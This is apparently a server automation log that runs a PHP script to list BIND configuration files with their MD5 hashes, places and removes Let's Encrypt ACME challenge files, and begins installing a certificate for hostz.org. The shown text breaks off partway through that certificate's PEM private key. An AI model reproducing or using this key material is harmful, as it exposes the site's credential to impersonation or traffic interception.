MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 11:15:48: Establishing a connection
2026-02-02 11:15:48: 

PUT: /tmp/pkp179195

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 11:15:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp179195; rm /tmp/pkp179195'

2026-02-02 11:15:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 11:15:56: Establishing a connection
2026-02-02 11:15:56: Establishing a connection
2026-02-02 11:15:56: 

PUT: /tmp/pkp636044

#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-02 11:15:56: 

chmod 755 /tmp/pkp636044; /tmp/pkp636044; rm /tmp/pkp636044

2026-02-02 11:15:56: 


1


2026-02-02 11:15:58: Establishing a connection
2026-02-02 11:15:58: 

PUT: /tmp/pkp767987

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > KB8GCLp-nTxoAsZ9ckqZk6eoE_aC6yt6AVxt28SIBdc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KB8GCLp-nTxoAsZ9ckqZk6eoE_aC6yt6AVxt28SIBdc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KB8GCLp-nTxoAsZ9ckqZk6eoE_aC6yt6AVxt28SIBdc
cat > tAZWrH6ShjLteyyHrfqP5ZCYKHkKZOFS3ql7YxcvkzE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tAZWrH6ShjLteyyHrfqP5ZCYKHkKZOFS3ql7YxcvkzE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tAZWrH6ShjLteyyHrfqP5ZCYKHkKZOFS3ql7YxcvkzE


2026-02-02 11:15:58: 

chmod 755 /tmp/pkp767987; /tmp/pkp767987; rm /tmp/pkp767987

2026-02-02 11:15:58: 




2026-02-02 11:16:07: Establishing a connection
2026-02-02 11:16:07: 

PUT: /tmp/pkp432685

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm KB8GCLp-nTxoAsZ9ckqZk6eoE_aC6yt6AVxt28SIBdc
rm tAZWrH6ShjLteyyHrfqP5ZCYKHkKZOFS3ql7YxcvkzE


2026-02-02 11:16:07: 

chmod 755 /tmp/pkp432685; /tmp/pkp432685; rm /tmp/pkp432685

2026-02-02 11:16:07: 




2026-02-02 11:16:07: Establishing a connection
2026-02-02 11:16:07: 

PUT: /tmp/pkp193325

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt

cat > $temp_file <<'endmsg'
07:a2:c7:1c:b0:02:a6:98:03:d5:63:5d:1d:9d:fe:8c

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpG9l/0alfNdbzYXnxgbCV7aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAyMTAxNzM0WhcNMjYwNTAzMTAxNzMzWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwT8iU
FZjovKGAojXuMJtpceWWO69s/94Tl8K3qjp5XR9Jxb3NPDCvZuzmG4LFEIcaIN9U
X/8EOxBrN2geNpzbgz9vVKTK8ePE0tl7DT775b6+lnCiPdtA2pxYmE07Y3CRkZAH
J5N8fI6fiDhfNUQdaRwWRb5WEPR9BJee0Y2l9+AYbdGFfH9GMWJv3q2VSfG/iXUN
ai7ARC07+LfIFmV6LNiCgydOwiuMfMKvcw9nXpkadQRLXxhyECtfUO8q3xWq2F8m
zdkqxOKTC4t+blyQIhB5FpNgqMgs3/xsjTdXX8T905mxlvveyAxm8R3ODLXLD1kt
0eMNhIv/alq7YmznAgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMgo1+ZItiVEmY9dd0u/JYhU4KAfMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvOTEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A
cX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGcHhEeuAAIAAAFAAhs
vJMEAwBHMEUCIQC1/3pUC/5D4ShEJJUCTeHG2GZjVSGwiDLOg0vYd0xh4wIgeB/I
CNM0/QAVBiteLgxdqhkqLcG1pyh6K90uSlMh89MAdgDRbqmlaAd+ZjWgPzel3bwD
pTxBEhTUiBj16TGzI8uVBAAAAZweESbMAAAEAwBHMEUCIBnLHVMAyZGNd85Ga+Ht
6xUtHBWxm1om/AP4WWYMeWd3AiEA1osaxhEEd6tbd15wPnqMDhSa0cVAtbV/gSbT
veMDA64wDQYJKoZIhvcNAQELBQADggEBAKINyGMZfI7dgAgeSIstQA//qohsVkx1
K3eQXAMH6WHnkjhFs4JUrg3CaC+wC9Sg5I+tRXSKe7HBZ4nBEt1oVR9cfUMZz2Z/
Y039chsCTiitYhhVHOigMQPXyyuCyBRmurlcoKty6c24nDuAqps+xPqzHcNWry6u
y2tm8mJNnkevqsBPV9oo5boE9KOT02BsJYmE/Wbg2QH+vnMREeeUBAOOQbzdtJr5
S3N2JvKIpaFH/EK+ZyFT/MR1T0DEBp7ZujEWqnLBikJjzSBF7Gua5m0Ayt4MBsOR
hbsIdikCU/wxxAOcJDg/gc2ZyTe0b8sDgZI2Q/+7gB8AWqQ/YgMe7nE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwT8iUFZjovKGA
ojXuMJtpceWWO69s/94Tl8K3qjp5XR9Jxb3NPDCvZuzmG4LFEIcaIN9UX/8EOxBr
N2geNpzbgz9vVKTK8ePE0tl7DT775b6+lnCiPdtA2pxYmE07Y3CRkZAHJ5N8fI6f
iDhfNUQdaRwWRb5WEPR9BJee0Y2l9+AYbdGFfH9GMWJv3q2VSfG/iXUNai7ARC07
+LfIFmV6LNiCgydOwiuMfMKvcw9nXpkadQRLXxhyECtfUO8q3xWq2F8mzdkqxOKT
C4t+blyQIhB5FpNgqMgs3/xsjTdXX8T905mxlvveyAxm8R3ODLXLD1kt0eMNhIv/
alq7YmznAgMBAAECggEAD6I2purc8Plii+vWQsimMmaaQdGiou4NQxXlFJdQZNj2
oHpoQH3JBpFmo2czfhKsTos1Ql+nI59MVWit7GZRtYug+r453pHHhvkrT6RdCvkH
cN7mHeMrDeHuLlNS7D3+o7aRW6qmthZVXAM4L59v6sVNnqv2593/aXzlKBZsxcqP
TPPuUUNwN+ODVob/KCR+jlty7qowAG4FuIFKMfQ5+F31QzsrZQDDQw7iigI9agt5
